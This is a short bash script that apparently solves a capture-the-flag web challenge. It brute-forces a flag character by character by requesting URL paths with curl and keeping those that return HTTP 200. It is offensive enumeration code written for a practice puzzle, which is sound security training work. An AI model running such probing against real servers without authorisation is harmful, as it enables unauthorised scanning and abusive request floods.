#!/bin/bash

URL="$1"
current=""

if [ -z "$URL" ]; then
    echo "Usage: $0 <URL>"
    exit 1
fi

echo "Chasse au flag sur: $URL"

# Possible char for a flag
chars="abcdefghijklmnopqrstuvwxyz0123456789{}-_"

while true; do
    found=false

    for char in $(echo "$chars" | grep -o .); do
        test_path="${current}/${char}"
        response=$(curl -s -o /dev/null -w "%{http_code}" "${URL}${test_path}")

        if [ "$response" = "200" ]; then
            echo "FOUND: $test_path"
            current="$test_path"
            found=true
            break
        fi
    done

    if [ "$found" = false ]; then
        echo "Done. Flag: $current"
        break
    fi

    if [[ "$current" == *"}" ]]; then
        echo "Complete flag: $current"
        break
    fi
done